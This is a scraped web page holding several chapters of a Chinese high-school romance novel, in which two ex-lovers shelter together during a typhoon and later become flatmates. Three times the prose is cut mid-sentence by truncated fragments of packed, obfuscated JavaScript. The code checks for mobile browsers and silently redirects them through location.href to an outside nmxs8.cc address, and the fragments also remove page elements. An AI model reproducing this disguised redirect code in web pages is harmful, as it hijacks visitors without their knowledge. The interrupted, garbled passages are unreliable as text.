上下学的走廊上，总会有他们的身影，这是曾经两年的回忆。每每走过这里，他总会想起她。江洵自顾自地微微低头一笑，试图让自己不去想应该被遗忘在过去的回忆。 但很抱歉，走在这条路上的时候，他没办法很好的控制住自己不去想她，不去想和她有关的一切。 天空仍然在慢慢暗下，江洵微微皱起眉头，他忽然想到林予夏今天似乎没有带伞。担心她一会可能会被突然起来的雨给淋湿，所以，他在心里迅速地做了一个决定。他背着书包，不由地加快脚步，直接飞奔在了高三的走廊上。 他想要追回方才在心里默数的那321秒…… 8. Ch.08 台风 江洵迈开步子追赶，脑海里全都是林予夏。但跑到学校外的时候，他却没有看见林予夏的身影。 还是晚了一步。 江洵垂着头，拿着伞独自一人继续往前跑，他正试图着抓紧渐渐消失的机会，去追上林予夏的背影。明明学校离出租屋不远，可他今天就是觉得，这条路似乎格外的长，怎么跑都跑不到重点，离那间出租屋的距离也是格外的远…… 离江洵出租屋不远处的小巷墙边，林予夏终于慢下脚步。方才她故意走的快了些，就是担心自己会在路上碰见江洵。 现在已经路过了他家，到了小巷的转角，应该也不会再碰上了。林予夏松了一口气，准备拿出手机看一眼时间，刚刚好，手伸进口袋的那一刻，手心感受到了手机的来电振动。 林予夏把手机从口袋里拿出来一看，是父亲林潮声的电话。林予夏按下接通，电话那头传来了医院的嘈杂声。 父亲林潮声是执礼医学院附一的外科主任，常年待在医院，很少回家，林予夏为此早就已经习惯。 “到家了吗，夏夏？”父亲的声音还是一贯的那种温柔。 “还没。”林予夏老实交代，“刚走出学校，过了一条巷子。” “还在巷子附近吗？”林潮声说，“如果在的话，就不用往家里的方向走了。” 听到这，林予夏抬眼看向了前面的路，她停下脚步：“嗯？” 林予夏感觉到了一滴雨的落下，好像是下雨了。 电话那头的林潮声解释：“爸爸在医院走不开，不放心你一个人在家里。爸爸有个朋友，她儿子租了间房在学校附近，你去他们家先避避雨，好吗？” 林予夏忽然感觉心里一颤，她知道林潮声说的是谁家。 “正好呀，爸爸朋友的儿子也是一个人在家，你们俩还能相互照应一下。台风结束之前，你现在他家休息如何？这样我也能放心一点。” 林予夏陷入犹豫，对面的林潮声还在继续说：“地址我发在你微信里了，可以导航过去。就快要下雨了，快去吧，赶紧去他们家避避雨。” 又一滴雨落在了林予夏的肩膀，她小声地说了一句：“已经下雨了。” 医院的环境过于嘈杂，林潮声没有听清林予夏的这句话。电话那头传来了护士的呼唤，林潮声匆匆说：“爸爸要去趟急诊看个病人，自己注意安全啊夏夏！” “好的，您也是。” “嘟——”的一声，电话被挂断。 心里没有纠结，林予夏打算冒着这场即将到来的大雨独自走回家去。林予夏知道，林潮声说的人是江洵他母亲，而林潮声给她的导航地址，也正是江洵的那间出租屋。 那间出租屋的地址，对于林予夏而言，可以说是再也熟悉不过了。 忽然又一滴雨落了下来，林予夏打算向前狂奔，尽量赶在大雨落下的瞬间到家。等到回了家，她再同林潮声交代自己很累，想在家休息。那时，台风肯定已经到来，林潮声也不好再让他前往江洵家。很自然地，自己就能规避掉与他见面。 这实在是个周密的计划。 但林予夏并不窃喜。 自己是很想见他的，不是吗？ 这个思绪只有她自己知道。 但无论如何她都不能放任自己的思绪。不去找他，是她心里现在的执念，也可以说是一个刚分手的人都会有的执念。 林予夏准备出发，然而还没等她迈出第一步，一把透明雨伞毫无征兆地从她的头顶落下，出现在了她的视线。 而令人感到意外的是，就在那把透明雨伞出现在她视线前的那一秒钟里，周遭忽然落下了大雨，雨丝碰撞，划过树梢枝头，传来了淅淅沥沥的声音。 一股熟悉的柠檬味清香随即从身后传来，林予夏只感觉到自己的心跳像是在一瞬间里漏跳了一拍一样。 她知道在她身后撑着伞的人是他。 也只可能是他。 紧接着毫无防备的，她听见了江洵的声音在淅沥的雨声中出现：“对不起，我来晚了。 “让你淋雨了。” 林予夏能听见他的呼吸声，在那一刻她很确切的知道，他是跑过来的。她不敢回头，因为，她怕自己在回头看向他的那一瞬间里，不能很好的控制住自己的情绪。 那时，或许落下的就不止是大雨了。 “台风快要来了。”江洵的声音夹杂在大雨的淅沥声中，“先去我家避避雨吧。” 是否要接受他的邀请，这是她此刻难以做出的决定。 而江洵只是默默地站在她的身后。 他会陪她一直站在这场雨里，一直到她想要离开的时候。 林予夏缓缓转身看向江洵，那时她注意到，江洵的一半肩膀已经被打湿了。 “麻烦你了。”林予夏根本不敢抬头看向他，“我能先去你家避避雨吗？” “这不麻烦的。” 雨滴冲刷着老旧的墙壁，汇聚成一股股水流缓缓落下。墙壁缝隙中的小草已被雨滴压弯，正低着身子，触碰着地面。落叶纷纷落下，停在了还未积水的路上。 倾斜的雨伞在进入居民楼的那一刻被收起，晃了晃伞上的水，江洵转身看向林予夏。动静不算太小，楼道里的感应灯缓缓亮起，他们就这样撞上了彼此的视线。 不知道过了多少秒，老旧的感应灯在沉默中缓缓暗下，外面淅沥的雨声不足以让它重新落下昏暗的光线。一阵风忽然从门口那吹了进来，带来了“呼呼”的声音。 借着吹来的风声，江洵故意咳嗽了一下，短暂地移开了看向林予夏的视线看向了门外一秒钟，然后再一次看向了她。 楼道里的感应灯在视线再次重叠的瞬间重新亮起，昏暗的光线闯入了两人的视线，让那段对视变得更加清晰。 他们彼此不知道，彼此间正在缓缓加速的心跳。 “我带路。”江洵慌慌张张地收回自己的视线，顺势绕到了林予夏的前面，走上了第一阶楼梯。 林予夏说了句“好”，跟在江洵的身后走上了楼梯。 学校旁的老旧小区里的租客大多数都是学生，楼道里贴满了补习老师或托管餐饮的广告。旧小区楼梯房的高度都不太高，只有六七层的样子。江洵家在三楼，两人很快就走到了家门口。 “不用换鞋了。”江洵打开了客厅的灯，“直接进来就行。” 这间路过了很多次的出租屋，地址因买过快递和外卖而熟记于心。 这是林予夏第二次走进这里。上一次到他家来，还是因为他感冒生病提前回了家，她趁着中午的时间过来给他送试卷。那天林予夏很意外，没想到下午放学的时候，江洵竟然在校门口等她放学。还说什么因为喝了她煮的姜茶，自己的感冒已经好了…… 江洵家里的装饰偏冷调，林予夏觉得这还挺符合他整个人身上的那种清冷感的。别的班的同学都说他是冰山帅哥，一副生人勿近的样子。林予夏倒是觉得这话没什么问题，毕竟他确实看上去挺冷淡的。 但，为什么说是“看上去”呢？ 因为在林予夏的面前，江洵从来都不会表露出那种一切都看淡的样子，那种他自己未曾察觉到过的那种清冷感也会消失不见。 江洵从房间里拿出了一条未拆封的浴巾，给林予夏递了过去：“擦擦吧，刚刚淋了一点雨。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353024|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还好。”林予夏接过江洵递来的浴巾，“谢谢。” 江洵来的很及时，那时林予夏只感觉到了两三滴雨的落下。 “你饿了吗？” “还好。” “我先去收拾一下，你要是饿了，可以先吃一点零食。等会我去厨房做点你爱吃的。就当作是午饭了。” “嗯。” 江洵听完林予夏的回答之后就转身回了房间，关上房门的那一秒，江洵接到了母亲宋清寒的电话。 “江洵啊，你到家了吗？” “嗯。” “妈妈刚刚在急诊接病人没来得及和你说。”宋清寒说，“妈妈有个朋友家的女儿，名字叫林予夏，也是你们学校的，我和她爸商量了一下，让她先来我们家避避雨。正好啊，你们两也能相互照应一下。我和她爸这两天都在医院，走不开，你让她先在我们家住着。别跑外面去了，风大。” “好。” “她爸也和她说了。江洵啊，你们相互认识认识，交流交流学习，都是高三生，抓紧点学习听见了没。” “知道了。” 接完电话，江洵就去了浴室。他脱下了那件半边袖子被打湿的短袖，打开了浴室的水。镜子前慢慢泛起一层水雾，江洵却迟迟没有走到水下。 这是他第一次知道，宋清寒竟然和林予夏的父亲认识。 宋清寒是执礼医学院附一的急诊科主任，常年待在医院，很少到这边的房子来。 想到宋清寒的工作单位，江洵忽然觉得这也没什么的了。毕竟都在同一家医院工作，都是同事，认识很正常。 只是宋清寒和林潮声不知道的是，江洵和林予夏他们认识，且他们彼此之间还远远不止是认识的关系。 从房间里出来的时候，林予夏正坐在沙发上看小说，是安德烈·纪德的《窄门》。 台风天的窗外已经完全暗了下来，那一场真正的风暴即将来临。客厅的落地灯不算太亮，整个房间里特别的昏暗。 察觉到江洵的动静，林予夏放下了手中的小说，她随手将身边的落地灯调亮了些许。视线下移到面前的茶几，江洵顺着林予夏的视线看了过去。 林予夏说：“给你煮了姜茶，趁热喝了吧。” 就在刚刚，江洵回房间洗澡的时候，林予夏起身去了厨房，给他煮了一碗姜茶。当时站在厨房里咕噜咕噜的小锅前，林予夏还在心里反复告诉自己，自己这么做不是因为别的，只是她注意到了他因为给她打伞而被淋湿的衣袖而已，自己这么做，仅仅只是为了感谢他的即时到来和雨伞。 江洵说了句“谢谢”，伸手拿起茶几上的姜茶。 味道还是和从前的一样，什么都没变。他坐在沙发的另一边慢慢地安静喝着姜茶，他很刻意地和林予夏隔了一大段的距离。 窗外的台风在一个无人知晓的瞬间里彻底到来，吹动着玻璃窗发出了声响，雨越下越大。 喝完姜茶，江洵起身去厨房洗碗，顺便去查看窗户是否有关好。 回到客厅，林予夏已经看完了那本小说的最后一页，把那本书放在了桌上。 注意到江洵的身影，她将身边的落地灯调暗了些许，问：“要不要一起看电影？” 江洵有点不明所以：“你让我和你一起看电影？” 林予夏转头看向江洵，撞上了他的视线。 “嗯。” “什么电影？” 她平静地回答说：“分手的决心。” 台风经过时的暴雨洗刷着窗户的玻璃，猛烈的风不知道吹落了多少片树叶。 那时的他们都不知道，这一场雨会在什么时候停下。 10. Ch.10 暗涌 陷入进沉默，就这样过去了一秒、两秒…… 很自然地，他们在第三秒的时候，迅速岔开了与对方交错的视线，看向了各自面前的试题。窗外淅淅沥沥的雨声继续环绕在房间里，他们什么都没说，只是在写着眼前的题目。 写完那套英语试卷的时候，江洵趁着收拾试卷的空隙偷看了林予夏一眼。 这是个很自然的动作，像是在一瞬间里下意识做出的反应。 这原本是一个再也平常不过的一天。 可是因为她的到来，这个台风天开始变得不似往日那般孤单和落空。 但对于江洵而言，独自一人面对空荡的房间，早就已经成为了一件特别寻常的事情。 夜幕降临的时候，窗外的雨还在继续下着。林予夏抬起左手手腕看时间的时候，刚好看见江洵背对着她趴了下来。 他最近怎么总爱睡觉？ 林予夏故意清了清自己的嗓子，试探着江洵有没有睡着。 然而江洵并没有发出什么动静，还在继续趴着。林予夏轻声询问：“睡了？” 旁边的人依旧没有说话。 写了一整个下午的作业，林予夏几近疲惫，忽然察觉整个人身上泛上了些许困倦。于是她轻轻放下了手中的笔，悄悄地趴在了桌子上。 “你知道吗？”过了有一会，林予夏像是想到了什么思绪一样，忽然用着气声轻轻说，“其实……我不想和你分手。” 林予夏认为他正坠入在梦境的频率里，所以她才会如此毫不犹豫地说出这句话。 但她依旧还是说完就闭上了自己的眼睛。 因为她清楚。 她无法真正下定那个有关于他的分手的决心。 因为她的爱告诉她，什么叫做不忍心。 然而她并不知道的是，身边的男生的嘴角现在正在微微扬起。 他从未睡着过，方才的他，只是在趴着写试卷而已。听见她的动静时，他刚好放下了笔思考问题。在听见她的那句“睡了？”的询问之后，他索性将计就计，假装睡着。 他想知道，她是否还会对他说些什么？ 这是他在一瞬间里出现的思绪。 过了一会，他偷偷转身看向林予夏。 那时的她已经睡着了。 江洵轻轻地将沙发上的衣服拿起，盖在了她的身上。 他继续趴在桌子上看向了她，就像从前他们在学校教室里，听完听力的之后，一起趴在各自课桌上午休时的那样。 他笑了一下，轻声说：“谢谢你对我说出了这些话。” “其实我也没有想过要和你分手。” 因为。从我们在一起的那一个瞬间开始。 我便从来都没有过想要和你分手的决心。 那年的台风很快就离开了长宜，没有做过多时间的停留。学校的假期在隔日结束，一切都恢复到了正常的样子。 除了他们之间的关系。 上课的时候，他们偶尔会偷看彼此一眼，会在因为老师讲了个笑话而逗得全班同学哈哈大笑的时候用余光注意一眼对方。 那些独属于他们之间的默契从未消散。 不说话总归是有些许微妙的，连厉川和陈嘉妤两人都没明白，这次江洵和林予夏为什么局面会如此的僵硬。 江洵没有重复去过问林予夏，分手的原因到底是什么。他明白，她不说，应该是有什么难言之隐。 那就去等候时间吧。如若是什么难言之隐的话，自己再去追问，倒显得失了分寸。 两人就这样一直忍，即便是有人偷听见了对方的“告白”。 不说话的忍耐像是一场悄无声息的较量，好像谁先开口与对方说话，谁就输了一样。 他们总是这样，陷入进一种暗戳戳的较劲。厉川和陈嘉妤曾说他们是冤家的这个说法，倒也没有什么太大的问题。 后来他们再次说上话，是在不久后周末里的一场饭局上。 那天林予夏的父亲林潮声做东请客，请江洵和江洵的母亲宋清寒一起吃饭，说是感谢台风天那晚江洵对林予夏的照顾。 吃饭的时间定在了周天的傍晚，林潮声和宋清寒算好了时间，吃完晚饭孩子们正好能去学校上晚自习。 林潮声和林予夏早早地就到了学校边的那家徐记海鲜，在包间里等候着江洵和宋清寒的到来。 “一会人家到了之后，记得叫阿姨。”林潮声语重心长地嘱托，“你宋阿姨人很好，很温柔，做事细心。他儿子，江洵，你见过相处过的。” 林予夏坐在一旁不说话，只是听着父亲的言语。 “你觉得……他儿子相处起来如何？”林潮声试探，“台风那天真的是麻烦他了。” “他……”林予夏迟疑了一下，“人挺好的。挺好相处的。” 话音落下，林予夏就拿起了沙发旁小桌上的玻璃杯，将里面的冷水一饮而尽。不是因为别的，只是因为想起了自己与他是刚分手的关系。 林潮声点点头，说了句那就好，便没有继续再往下问林予夏和江洵有关的事情。宋清寒给林潮声发来了微信，说自己堵车了，还要一会才能到。林潮声回信息说让她慢点开车，注意安全。 回复完宋清寒的信息，林潮声看向一旁的女儿，说：“爸爸以前怎么没有发现你这么喜欢看书？” 在林潮声回消息的间隙里，闲着无事的林予夏戴上了自己的耳机，从包里拿出了一本小说。 “很久之前就开始看书了。”林予夏看向林潮声，“说不上是喜欢。只是我偶尔会觉得，看书能够平静我自己。” 林潮声欣慰，自己有一个文科理科都不错的女儿，学习上从来都没有让他操过什么心。 “爸，您有什么想说的吗？”林予夏故意提起了话题，“总感觉你您最近心里像是有事情的样子。” 林潮声微笑：“夏夏长大了，能看出爸爸的心事了？” 视线在蓦然间看见了林潮声的白发，林予夏不可避免地察觉到了年华的匆匆。 那时候的她在恍然间回忆起，在自己还很小的时候，母亲盛嘉穗女士就与父亲离了婚。那时候的她还不明白，什么是爱。 盛嘉穗搬出家里的那天，拉着林予夏说了很久的话：“妈妈还有自己想要去完成的事情。妈妈走了，你要是想妈妈的话，就让爸爸打电话给我，好吗？”盛嘉穗短短地拥抱了一下林予夏，“妈妈爱你。” 后来听父亲林潮声说，盛嘉穗去了旧金山学习，研究生毕业之后，盛嘉穗留在了旧金山工作，很少回国。林予夏对于母亲盛嘉穗的印象，停留在了那个还不懂什么是爱的童年时期…… 听完林潮声的话，林予夏笑了笑：“我猜的。” 空气安静了几秒，林潮声才开口说话。 “夏夏，如果有一天，爸爸想找个人一起搭伙过日子，你会介意吗？” 林潮声的语气平缓，话语里都是委婉，像是在心里思虑了很久这句话一样。 林予夏很快接话：“如果您爱她的话。爸。我不会介意的。” 林潮声看向自己的女儿，他张了张嘴，最后却什么都没说。 林予夏进一步解释说：“如果只是搭伙过日子，您还是得考虑考虑，但如果您爱她，她爱您的话，婚姻未尝不可呢？这么多年，您是应该去追寻您自己的爱情了。” 林予夏清楚自己今天为何会说出这些话。毕竟这些话，早已于这些天里在她的心里预演过了很多遍了。 父女俩的交谈结束的时候，敲门的声音从不远处的房间门口传来。父女俩赶紧起身，一起看向了门口。 江洵和宋清寒到了。 在宋清寒和林潮声热烈打招呼的间隙，江洵和林予夏的视线恍然撞上。 随后林予夏又很快地躲避了江洵的视线。 “林主任啊，来晚了。” “不晚不晚。”林潮声带着大家走到了餐桌旁，“来，坐。” “宋阿姨好！” “林叔叔好！” 礼貌性的问候，不失两家的礼仪与教养。 四个人的座位相对分散，江洵却正好坐在了林予夏的对面。 “江洵，你认识的，台风天还得谢谢人家。”林潮声接着向宋清寒介绍说，“林予夏，我女儿。” “哎， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353026|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两孩子今年都是高三对吧。”宋清寒说，“你们可以一起交流交流学习。” 林予夏笑：“嗯嗯！” 江洵挤出一抹笑：“嗯嗯。” 两人话音落下之后同时拿起了面前的水，小抿了一口，随即朝一个看不见对方视线的地方看过去了。 他们都想起了那个分手的瞬间。 “宋主任想吃什么随便点。江洵啊，别客气。” “破费了啊林主任。” 两位大人的交谈，有点像是在刻意的烘托热闹氛围。 林予夏知道，自己早就坠入进了有别于这段“热闹”频率之外的空间。她不禁抬眼看向坐在自己对面的江洵。 江洵一脸冷淡，看不出有什么情绪。在林予夏看向他的第二秒，菜单就从宋清寒那递到了他那。与此同时，自己的父亲也将菜单给她递了过来。 拿到菜单的两人不知为何又朝对方看了一眼，然后又在对视后立即低头躲避。 江洵：“鲍鱼辣椒炒肉。” 他点的是林予夏爱吃的菜。 林予夏：“生炒嫩牛肉。” 她点的是江洵爱吃的菜。 “韭黄鸡蛋虾仁！” 两人的声音同时在房间里响起，他们在意识到说出了同一句话之后，便立即收回了自己声线，闭嘴，将菜单放到了一边，又在同一秒里把视线瞥向了一边。 大人们因为这突然出现的异口同声笑了笑，再次尝试活跃气氛。 宋清寒接话：“看样子，孩子们有口味重合的菜。” 林潮声笑，维持气氛。 但接下来在两位大人意料之外的又出现了一句异口同声： “我们早就认识了。” 这话就像平静的湖水忽然落入了两颗石子，泛起了层层涟漪。 场面陷入沉默，像是在反应着讯息，两秒钟之后，氛围再次被宋清寒和林潮声烘托了起来。 “那早说，小洵啊，我和你妈还担心你们不认识。”林潮声将林予夏放在一边的菜单拿起，给宋清寒递过去，“宋主任再看看，还有什么想吃的？” 宋清寒接话：“就是啊，放松点放松点。予夏，随意一点啊。” “那这样挺好。”林潮声说，“夏夏啊，我和宋阿姨商量了一下，高三了，为了给你节省时间，你搬到他们家在学校旁租的那间房子里，怎么样？离学校近，你们俩呢，还能有个相互的照应。” “这么突然？” 宋清寒笑着解释：“夏夏，你爸要被派到国外去学习一段时间，这段日子到阿姨家来。” 对面的江洵默不作声，在林予夏看向他的第一秒，他一脸坏笑地挑了一下自己的左眉，像是早就已经知道了这件事一样。 “通知下来了？”林予夏看向林潮声。 林潮声点头，将手机里的进修通知摆在了林予夏的眼前：“下午刚出来的。” “那就说定了哈。”宋清寒说，“夏夏，到阿姨家来。” 林潮声接话：“你去江洵家，我也能放心，也能放心在国外进修。” 餐桌上的林予夏和江洵看着对方笑了一下。 而后林予夏憋出了一句：“请多关照。” 江洵礼貌回应：“请多关照。” 很快就点完了菜，场面陷入进了宋清寒和林潮声的医学交谈。 窗外正是红色与蓝色交汇的日落时刻，房间里像是有什么暗流正在涌动着一样。 彼时的他们都清楚，自己还很在意对方，他们之间并没有放弃对彼此的爱。 但有的时候，爱这种情绪仅仅只是存在而已，它不一定能够让两个人在一起。所以，在这种情况之下，有些思绪只能够变得若影若现。而他们之间，现在也仅仅只是饭局上的那种表面朋友关系。 林予夏清楚，这不是一次简简单单的傍晚聚餐。 毕竟除了时有时无的暗涌之外，除了她即将成为江洵家的住户这件事在此刻知道了之外，除了还有些许其他的不简单的事情之外，她还在这天夜晚正式降临之前，在心里默默地做出了一个决定。 一个足以改变她人生轨迹的决定。 11. Ch.11 入夜 “说！你是不是早就知道了我要住进你家的这件事？” 晚餐接近尾声的时候，林予夏找了个借口跑出房间，准备和陈嘉妤打一通电话聊聊自己即将入住江洵家的这件事。却没想到刚出房间，江洵就追了出来，一下子拦在了她的面前。 “我也就刚知道。”江洵低下头解释，“就在来的路上。” “那你一脸坏笑是在……？” 江洵笑着问：“我笑了吗？” 林予夏走上前一步：“你没笑吗？” 江洵往前一步：“或许？” 林予夏忽然后退一步：“你现在也笑了。” 江洵停住不再继续向前走：“看见你就想笑。” 林予夏问：“我很好笑吗？” 江洵点点头，又摇摇头，随后从口袋里拿出了一枚钥匙，摆在了林予夏的眼前，说：“拿着，家里的钥匙。” 林予夏伸手准备接过，却又忽然收回了手：“看来你早就准备好了，还说你不知道？” 江洵解释：“我找宋女士拿的，就在路上，知道你要住进我家之后。” 林予夏轻快地“哦”了一句，随后接过了钥匙，说：“行，从今天开始，我们是合租室友关系。我听说那个房子的房租是你在付，你说个价格，我每月给你房租。” “不用。”江洵说，“你哪来的钱付房租？” 林予夏回答说：“那你又是哪来的钱付房租？” 江洵说：“我有我自己的积蓄。” “同理。”林予夏说，“如果说你不告诉每月的房租是多少，我就一会回去就……” “好。”江洵打断了林予夏的话，他知道林予夏接下来要说些什么，“我回去算算，明天就告诉你。” “行。” “明天说”是他的别有用心。 林予夏正式搬入江洵家的那天是个周五，天气还算不错，是个晴天。林予夏带的东西不算太多，只有两个箱子。 林潮声将女儿送到江洵家的楼下之后，便赶去了机场，在当晚就飞往了德国，他要赶去那边的医院准备报道。 宋清寒这两天在外省出席医疗论坛不在长宜，林予夏搬家事情的前前后后，可以说是江洵一手帮忙的。 “所以你现在能告诉我，我们之前分开的原因了吗？”江洵趁机询问。 林予夏喝了一大口水，喘着气回答说：“不能说，还没到时候，” 江洵背靠在沙发上，一副生气小狗的炸毛恼火样子，说：“我看你最近对我这么的热情，我还以为，你想通了，想和我说分手的理由了，然后和我说和好了呢。” 不知道是自己的错觉还是什么，林予夏总觉得江洵的这话里有种怪怪的语气。 “我对你很热情吗？”林予夏用问句来继续话题。 “没有吗？”江洵从沙发靠背上弹起，一脸认真地看向了林予夏，他还故意地眨了眨自己的眼睛。 “或许吧。”林予夏随便丢出了一个答案，她站起身来，朝自己的房间走去。 如果说自己没有察觉到对他态度的转变，那是一点都不可能的。 那天晚饭之后，林予夏忽然察觉到，自己和江洵有了一种不用是朋友但也能去很好相处的合理新关系。 合租室友。 在学校的时候，她想在某些时刻去找他，但她却又需要克制住自己不去找他。 人总是活在各种各样的矛盾之中，试图从矛盾里找到平衡点，去找到一个两全的考虑。 所以，合租室友的这个关系，倒是显得很不错，她能够用这种关系的名义来麻痹自己，让自己与他的交往中变得不那么的微妙。 对啊。 合租室友而已，抬头不见低头见的，为什么不能讲话呢？ 而她对他也打上了一个“仅仅只是室友”的标签。 在这种关系下，她觉得自己同他说话的时，会有种心安理得的感觉。 坐在床上，林予夏已经完全不知道自己在想些什么了。她看见手中草稿本上胡乱的笔记，以及她和江洵关系有关的箭头和框框，她顿时就觉察到了一种思维混乱的感觉。 她将草稿纸随意撕掉，揉成了团，丢进了垃圾桶。 睡一觉吧。 明天起来又是新的一天。 她长叹一口气躺在床上。 刚一闭眼，脑子里忽然想到自己还没洗澡，于是乎又赶紧爬了起来，拿着浴巾和衣服就打开了房间门。 刚刚好，她撞上了从浴室里走出来的江洵。他穿了一件纯白色的短袖，一条篮球裤，湿发正随意地搭在他的额前，略微地遮住了一点他的视线。 好吧。 林予夏不得不承认，江洵还是有点姿色的。说他长得不好看，那简直就是在撒一个天大的谎。 她微微挪动步子，却没想到下一秒天空传来了一大声“轰隆隆——”的雷声。 长宜的天气依旧是说变就变的，下午和傍晚还是晴天，晚上就忽然要下雷阵雨了。 不过林予夏倒是挺感谢这段雷声的，将她的某些思绪给牵了回来。 “那个，浴室在哪？”林予夏为了缓解气氛，朝江洵问了个问题。 江洵指了指身后：“那边。” “谢谢。”听到了本就已经知道了的答案之后，林予夏匆匆从江洵的身边擦肩而过。 “砰”的一声，浴室的门被关上了。 窗外忽然下起了淅淅沥沥的大雨。 林予夏从浴室里出来的时候，江洵正坐在沙发上挑电影，见林予夏出现在了他的身后，他把手中的手机放了下来，看向她问：“看电影吗？明天反正也不上课。” 林予夏觉得没什么问题，于是点了点头：“行，片子你来定。” “那你要是不喜欢怎么办？” “我相信你的眼光。” 等林予夏吹完头发从房间里出来的时候，江洵已经找好电影了，他把暂停按在了电影画面的第一秒。 “什么电影啊？”林予夏坐在了另外的一个沙发上。 “爱在午夜降临前。” 窗外的雨还在下着，房间里的落地灯暗了下来，电影的台词声在房间里回响。 他会在不经意之间看她一眼。 她也是。 林予夏并没有去细想江洵为什么会选择《爱在午夜降临前》这部电影。 十七八岁的青春里会遇见各种各样的题目，唯独有关江洵的题，她似乎开始解不明白起来。她会心跳加速陷入慌乱，陷入思绪的迷惘。 这一切都开始与她知道那个秘密的时刻，或许也开始于他们分手的那个瞬间。 ………… “什么！？你和江洵住一起了？！”听到这个消息的陈嘉妤差点在操场上跳起来。 “镇定，镇定。”林予夏对好姐妹陈嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353027|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妤说。 傍晚的晚饭后，林予夏和陈嘉妤偶尔会去操场上散步聊天。 “我们，只是室友关系。”林予夏手里拿着刚在学校便利店里买的冰椰子汁解释。 “前男友变成室友。”陈嘉妤提炼总结重点。 林予夏不说话。她看向了篮球场的方向，如从前那般找着江洵的身影。 然而还没等她看见他，她就立即反应了过来，收回了自己寻找的视线。 林予夏，请忘记掉这些已经成为习惯的动作。 “找什么呢？”陈嘉妤挽着林予夏的手说，“找江洵啊？” “没有。”林予夏笑了笑。 “他们今天应该是在打球。”陈嘉妤说，“厉川这个家伙，总是让我帮他带晚饭。说什么他要去占场，来不及，还说什么随便买一个最便宜的大面包就行。真搞不懂，他们男生居然为了打球能够放弃吃饭？” “可能是因为太喜欢了吧。”林予夏低着头看着浅蓝色的塑胶跑道。 “今天的晚霞真的好好看哇。”陈嘉妤指着天空感叹，“你带了ccd没有？” “带了。” “快拍照！” 两人停在了看台的旁边，将镜头对准了晚霞那。 曾经有过很多个傍晚，她来陪他打球。她坐在看台上背英语单词，偶尔会抬头看向日落天空，然后再在不经意间看向他的身影…… “坏了！”没拍一会，陈嘉妤忽然拍了一下自己的脑门，“我还没给厉川买便宜大面包的！” “夏夏！我去买个面包，刚才忘了。这样，你现在这拍照。等我们一起去完便利店再出来，估计晚霞都快没了。你赶紧拍点照片，我们晚自习的时候一起看看。” “好！” “你就在此地不要动哇，我去买个面包就回来！” 林予夏笑：“去你的。” 找到了一个新的角度，趁着跑道上没有训练的学生，林予夏跑到了看台的对面。镜头划过天空的那一秒，学校里的广播响起： “欢迎收听今日的校园之声，我是主持人周应。” “我是主持人张亦然。今天我们将要听到的第一首歌，是来自高三（21）班江同学的投稿——” “颜人中的《有些》。” 高三（21）班。 江同学。 听到这个称呼，林予夏忽然感觉自己的心跳像是在一瞬间里漏跳了一拍一样。 两年前，他在班上为她唱了那首《有些》。而在两年后的这个傍晚，她在操场上再次听见了他投稿的这首歌。无法捉摸他是否是意有所指，只是她竟然在恍然间又感觉到了那种足以牵扯她每一寸思绪的心跳。 此刻不知道从哪吹来了一阵风，路过了她的衣角，让她从回忆中抽离了出来。 操场边的树影摇摇晃晃，属于盛夏的知了声在此刻渐渐响起。 天空缓缓陷入进夏夜，渐渐只剩下了沉沉的蓝色。 「难过夹带陌生的感觉有一些」 「已模糊的镜头拉不回那从前」 「明明不是下雨天」 「却淋湿双眼」 拿着那台小相机，不顾正在加速的心跳频率，林予夏下意识地转身看向篮球场的方向。 一紧张，手一抖，手中那台小ccd被她按下了快门。 彼时。 她看见江洵正在朝她在的方向走来。 12. Ch.12 听见 看见江洵朝她所在的方向走过来的第一秒种，她就确定了，江洵这家伙投稿这首歌给广播站，绝对是故意的。 江洵在林予夏面前慢慢停下，一副很故意且“绿茶”的语气说：“室友，来看我打球了？” 林予夏在心里翻了个白眼：“谁来看你打球了？我只是路过而已，还恰好听见了你在广播站放的这首歌。仅此而已。” “噢——”江洵故意拖出了自己的尾音，然后双手抱在身前，再有意地意味深长地点了点头，“那好巧啊，林予夏同学，我在这里遇见了你。室友同学能帮我两个忙吗？今天下了课回家的路上，我请你吃东西。” “什么忙？” “帮我去便利店买瓶水呗，放我桌上就行，求你了。” 林予夏摆出一副无语脸的样子点头：“还有一个呢？” “我今天……有道数学题没做明白，你能不能教教我呀，室友林予夏同学。”江洵是故意的，在这句话的结尾强调了是室友林予夏同学。 “行。” “那……晚上你想吃什么呀？” “再说吧。”林予夏说，“不早了，你快回教室，一会被年级组长抓到是要被罚站的。” “好。” “我可不是在关心你啊。”林予夏赶忙补充了一句，“我这只是作为室友的一个善意的提醒。” “好——”江洵笑了一下，“我打球去了，教室见！” 